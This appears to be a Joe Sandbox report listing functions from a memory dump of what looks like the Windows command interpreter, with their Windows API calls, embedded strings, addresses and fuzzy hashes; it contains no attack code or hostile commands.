Instruction ID: b6caba322b15b6d30f6027e2d6eaeaea24ece01cf2eeca58cbde49c46beb5303
Opcode Fuzzy Hash: b6050c66f82dc7928a1abc4fa5bbb3c506f83fcae6e66a9ce87afb692c1e7a8d
Instruction Fuzzy Hash: C3A11521B08F4A85FB24AB2994416B9E3B1BF8D7A4FC44232D99D47AD5DF3CE40D8714

Function 00007FF718D54D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54D9A

Part of subcall function 00007FF718D558E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF718D6C6DB), ref: 00007FF718D558EF

SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54DBB
_get_osfhandle.MSVCRT ref: 00007FF718D54DCA
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54DE0
_get_osfhandle.MSVCRT ref: 00007FF718D54DEE
GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54E04

Part of subcall function 00007FF718D50580: _get_osfhandle.MSVCRT ref: 00007FF718D50589
Part of subcall function 00007FF718D50580: SetConsoleMode.KERNELBASE ref: 00007FF718D5059E
Part of subcall function 00007FF718D50580: _get_osfhandle.MSVCRT ref: 00007FF718D505AF
Part of subcall function 00007FF718D50580: GetConsoleMode.KERNELBASE ref: 00007FF718D505C5
Part of subcall function 00007FF718D50580: _get_osfhandle.MSVCRT ref: 00007FF718D505EF
Part of subcall function 00007FF718D50580: GetConsoleMode.KERNELBASE ref: 00007FF718D50605
Part of subcall function 00007FF718D50580: _get_osfhandle.MSVCRT ref: 00007FF718D50632
Part of subcall function 00007FF718D50580: SetConsoleMode.KERNELBASE ref: 00007FF718D50647

Part of subcall function 00007FF718D54A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A28
Part of subcall function 00007FF718D54A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A66
Part of subcall function 00007FF718D54A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A7D
Part of subcall function 00007FF718D54A14: memmove.MSVCRT(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A9A
Part of subcall function 00007FF718D54A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54AA2

Part of subcall function 00007FF718D54AD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D54AD6
Part of subcall function 00007FF718D54AD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D48798), ref: 00007FF718D54AEF

Part of subcall function 00007FF718D55554: RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF718D54E35), ref: 00007FF718D555DA
Part of subcall function 00007FF718D55554: RegQueryValueExW.KERNELBASE ref: 00007FF718D55623
Part of subcall function 00007FF718D55554: RegQueryValueExW.KERNELBASE ref: 00007FF718D55667
Part of subcall function 00007FF718D55554: RegQueryValueExW.KERNELBASE ref: 00007FF718D556BE
Part of subcall function 00007FF718D55554: RegQueryValueExW.KERNELBASE ref: 00007FF718D55702

GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54E35
GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54E81
GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54F69
GetConsoleOutputCP.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54F95
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54FB0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54FC1
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54FD8
GetConsoleTitleW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D54FF8
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D55037
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D5504B
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D550DF
GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D550F2
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D5510F
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D55130
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D5514A
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF718D55175

Part of subcall function 00007FF718D53578: _get_osfhandle.MSVCRT ref: 00007FF718D53584
Part of subcall function 00007FF718D53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D5359C
Part of subcall function 00007FF718D53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535C3
Part of subcall function 00007FF718D53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535D9
Part of subcall function 00007FF718D53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535ED
Part of subcall function 00007FF718D53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D53602

Strings

CopyFileExW, xrefs: 00007FF718D55108
SetConsoleInputExeNameW, xrefs: 00007FF718D55143
KERNEL32.DLL, xrefs: 00007FF718D550EB
IsDebuggerPresent, xrefs: 00007FF718D55122

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$Mode_get_osfhandle$Heap$QueryValue$AddressAllocHandleProcProcess$CommandCriticalEnvironmentFreeInfoLineLockSectionSharedStrings$AcquireBufferCtrlDirectoryEnterFileGlobalHandlerInitializeModuleOpenOutputReleaseScreenTitleTypeWindowsfreememmove
String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
API String ID: 1049357271-3021193919
Opcode ID: bf394d30a17139001fd3ca4171d3fdfeea46f289a8fe0fe81f1b572c7d274a87
Instruction ID: bbe90bd8c78fd4c7fe8e6d92604338f93252f1983bf6e026e76d0992b7e6061b
Opcode Fuzzy Hash: bf394d30a17139001fd3ca4171d3fdfeea46f289a8fe0fe81f1b572c7d274a87
Instruction Fuzzy Hash: EBC15D61A08F4A86EB05BB11A851179F6B1FF8DBB4FC48235D98E43795DF3CA44D8328

Function 00007FF718D53C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D53D0C
towupper.MSVCRT ref: 00007FF718D53D2F
iswalpha.MSVCRT ref: 00007FF718D53D4F
towupper.MSVCRT ref: 00007FF718D53D75
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D53DBF
GetFileAttributesW.KERNELBASE ref: 00007FF718D53E7E
GetFileAttributesW.KERNELBASE ref: 00007FF718D53EE9
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D53F32
_local_unwind.MSVCRT ref: 00007FF718D54062
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D54067
_local_unwind.MSVCRT ref: 00007FF718D54098
_local_unwind.MSVCRT ref: 00007FF718D540B3
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D540B8
_local_unwind.MSVCRT ref: 00007FF718D540DE
_local_unwind.MSVCRT ref: 00007FF718D540F9
_local_unwind.MSVCRT ref: 00007FF718D54114

Strings

:, xrefs: 00007FF718D53D89

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _local_unwind$AttributesCurrentDirectoryErrorFileLasttowupper$FullNamePathiswalphamemset
String ID: :
API String ID: 1809961153-336475711
Opcode ID: 9a6838553337d10caea9482eb8d4b87fb6c3f53a5735761c353ac2a4c5941523
Instruction ID: 16c68941097148f4859e30e19119dce06b363c8a5774dc3edc17895876dc76d8
Opcode Fuzzy Hash: 9a6838553337d10caea9482eb8d4b87fb6c3f53a5735761c353ac2a4c5941523
Instruction Fuzzy Hash: 19D15F6260CF8981EB24AB15E4552BAF7B1FB89760F844236DA8E437A4DF3CE54CC714

Function 00007FF718D52394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF718D523F1

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetModuleFileNameW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF718D52438

Part of subcall function 00007FF718D5081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D5084E

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D524DD
wcschr.MSVCRT ref: 00007FF718D5E12A
_wcsupr.MSVCRT ref: 00007FF718D5E146

Strings

COMSPEC, xrefs: 00007FF718D52483, 00007FF718D5E28B
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 00007FF718D5E0F4
$P$G, xrefs: 00007FF718D52516
PATH, xrefs: 00007FF718D52444, 00007FF718D5E0E2
PATHEXT, xrefs: 00007FF718D52459, 00007FF718D5E0FB
PROMPT, xrefs: 00007FF718D5246E, 00007FF718D5251D
\CMD.EXE, xrefs: 00007FF718D5E22A
KEYS, xrefs: 00007FF718D52498

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$EnvironmentFileModuleNameVariable_wcsuprwcschr
String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
API String ID: 2622545777-4197029667
Opcode ID: 9e052dd8a569df61deb78e5422594237265ab7758b060a59aba3d98d3c4be830
Instruction ID: 09d390c02a9ce2b8f079c5455b2ced51ab0abd1dd628dace76babded7e3864a0
Opcode Fuzzy Hash: 9e052dd8a569df61deb78e5422594237265ab7758b060a59aba3d98d3c4be830
Instruction Fuzzy Hash: D1914C61A09F8A85EF25BB10D8505B9E3B1BF4CBA4FC48236C98E47695DE3CE50C8324

Function 00007FF718D50580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D50589
SetConsoleMode.KERNELBASE ref: 00007FF718D5059E
_get_osfhandle.MSVCRT ref: 00007FF718D505AF
GetConsoleMode.KERNELBASE ref: 00007FF718D505C5
_get_osfhandle.MSVCRT ref: 00007FF718D505EF
GetConsoleMode.KERNELBASE ref: 00007FF718D50605
_get_osfhandle.MSVCRT ref: 00007FF718D50632
SetConsoleMode.KERNELBASE ref: 00007FF718D50647
_get_osfhandle.MSVCRT ref: 00007FF718D50684
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D50699
_get_osfhandle.MSVCRT ref: 00007FF718D5D891
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D5D8A6

Strings

CMD.EXE, xrefs: 00007FF718D5065F

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID: CMD.EXE
API String ID: 1606018815-3025314500
Opcode ID: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
Instruction ID: 26f1c0749396bdd1615f345a6cdda60f82e76e23410354b7f165d45a27f474b6
Opcode Fuzzy Hash: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
Instruction Fuzzy Hash: C741D531A09F168BE718BB24E856578F7A0BB8E775FC84175C99E43350DF3CA40C8629

Function 00007FF718D4C620 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleTitleW.KERNELBASE ref: 00007FF718D4C65E
wcschr.MSVCRT ref: 00007FF718D4C792

Strings

:, xrefs: 00007FF718D4C9E2
/, xrefs: 00007FF718D4CA1B

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleTitlewcschr
String ID: /$:
API String ID: 2364928044-4222935259
Opcode ID: 18b5fc1b2ec7561f4a1e071935b117a16da6c033c327c323cb9fcfc49729d23f
Instruction ID: f5897a2460a5fda66329b52555a8555ac64d56fe15eb757648239965e7b04f29
Opcode Fuzzy Hash: 18b5fc1b2ec7561f4a1e071935b117a16da6c033c327c323cb9fcfc49729d23f
Instruction Fuzzy Hash: 30C19D61A08F4A81EB24BB1594452B9E2F0EF59BB4FC84271D99E476E5DF3CE44CC328

Function 00007FF718D47AA0 Relevance: 15.2, APIs: 10, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF718D47B13
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D47B5F
CreateDirectoryW.KERNELBASE ref: 00007FF718D47B83
free.MSVCRT ref: 00007FF718D47BA9

Part of subcall function 00007FF718D5291C: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5294A

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CreateDirectoryDriveFullNamePathTypefreememset
String ID:
API String ID: 1445986735-0
Opcode ID: fe82e3eae3579b7f0e88292875d89759f9dd0f662728a8192ad32f6f8a3809eb
Instruction ID: 063d474c2508422dbf452949602a28def1a7605e280948bf922f0d6ae63115a6
Opcode Fuzzy Hash: fe82e3eae3579b7f0e88292875d89759f9dd0f662728a8192ad32f6f8a3809eb
Instruction Fuzzy Hash: 04916132B08F9986EB64AB1194406B9F3B1FB4CBA4F858136DA8D07B94DF3CD54C8725

Function 00007FF718D58D80 Relevance: 9.1, APIs: 6, Instructions: 95
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF718D58DC4
_amsg_exit.MSVCRT ref: 00007FF718D58DE0
_initterm.MSVCRT ref: 00007FF718D58E64
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF718D58E91
exit.MSVCRT ref: 00007FF718D58EDE
_cexit.MSVCRT ref: 00007FF718D58EED

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
String ID:
API String ID: 4291973834-0
Opcode ID: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction ID: 1189ae2a5ae61fa3b7cca3c7ac9d0b98648099412c25f26f9ba842c4fed01512
Opcode Fuzzy Hash: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction Fuzzy Hash: 6441EC21A08F0A86F750BB10E842236E2B0AF4C378FD40536D99D976A4DF7DE94CC768

Function 00007FF718D54A14 Relevance: 7.5, APIs: 5, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A28
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A66
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A7D
memmove.MSVCRT(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54A9A
FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF718D549F1), ref: 00007FF718D54AA2

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: EnvironmentHeapStrings$AllocFreeProcessmemmove
String ID:
API String ID: 1623332820-0
Opcode ID: bedbd02b2e83685aab04dae624747bec3d3f04209153fba6c5d2bef1ca8d2a3e
Instruction ID: 49b706479c9ec15682a12ec367f5ad59a9c100a2f86f5e4e780a5cf160e3329a
Opcode Fuzzy Hash: bedbd02b2e83685aab04dae624747bec3d3f04209153fba6c5d2bef1ca8d2a3e
Instruction Fuzzy Hash: 6B11C122B04B5682DF54AB02A004039FBB1FB8DFA8BC88135DE8E03744DE3CE44C8728

Function 00007FF718D4CA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF718D4CAB3
??_V@YAXPEAX@Z.MSVCRT(?,?,?,00007FF718D4139E), ref: 00007FF718D5C706

Strings

onecore\base\cmd\maxpathawarestring.cpp, xrefs: 00007FF718D5C6E5

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset
String ID: onecore\base\cmd\maxpathawarestring.cpp
API String ID: 2221118986-3416068913
Opcode ID: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
Instruction ID: 235ea427dc6a2ed7764fe92438c5b636eee05c1da4cbacbab64aaf3232b21c47
Opcode Fuzzy Hash: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
Instruction Fuzzy Hash: 7C11CA21A08F4A81EB54EB16A145279D2A09F4CBB4F984331DEAD477D5DD3CD04C4328

Function 00007FF718D4BE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF718D4BE52

Part of subcall function 00007FF718D4BFF0: wcschr.MSVCRT(00000001,00000000,?,00007FF718D4BEC8), ref: 00007FF718D4C03E

Strings

COMSPEC, xrefs: 00007FF718D4BFC7
2, xrefs: 00007FF718D4BF20

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memsetwcschr
String ID: 2$COMSPEC
API String ID: 1764819092-1738800741
Opcode ID: 67b7d9532635b88408f7fdf8ce2ffd15aa8064fbcc0e84cfd1dfe15bdfd98c80
Instruction ID: 51825dd42125d073f38c48f7fb102c5c9c6e547a97519fa681ad4d2599864562
Opcode Fuzzy Hash: 67b7d9532635b88408f7fdf8ce2ffd15aa8064fbcc0e84cfd1dfe15bdfd98c80
Instruction Fuzzy Hash: 0C51C031A08F4A45FB70BB619441379E2A49FAD7A4FCC4071DACD42AD6DE2CE84C8768

Function 00007FF718D59A6C Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF718D59A86
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF718D59A97

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

